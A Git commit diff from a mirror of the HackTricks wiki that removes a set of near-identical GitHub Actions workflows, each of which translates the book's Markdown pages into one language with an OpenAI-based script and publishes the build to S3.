maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/active-directory-methodology/abusing-

Browse Source
This commit is contained in:
Translator 2025-08-21 00:19:33 +00:00
parent cbbc9ec3df
commit 6f43cd75c3
56 changed files with 4093 additions and 2496 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

119
.github/workflows/translate_af.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_de.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_el.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_es.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_fr.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_it.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_ja.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_ko.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_pl.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_pt.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_sr.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_sw.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
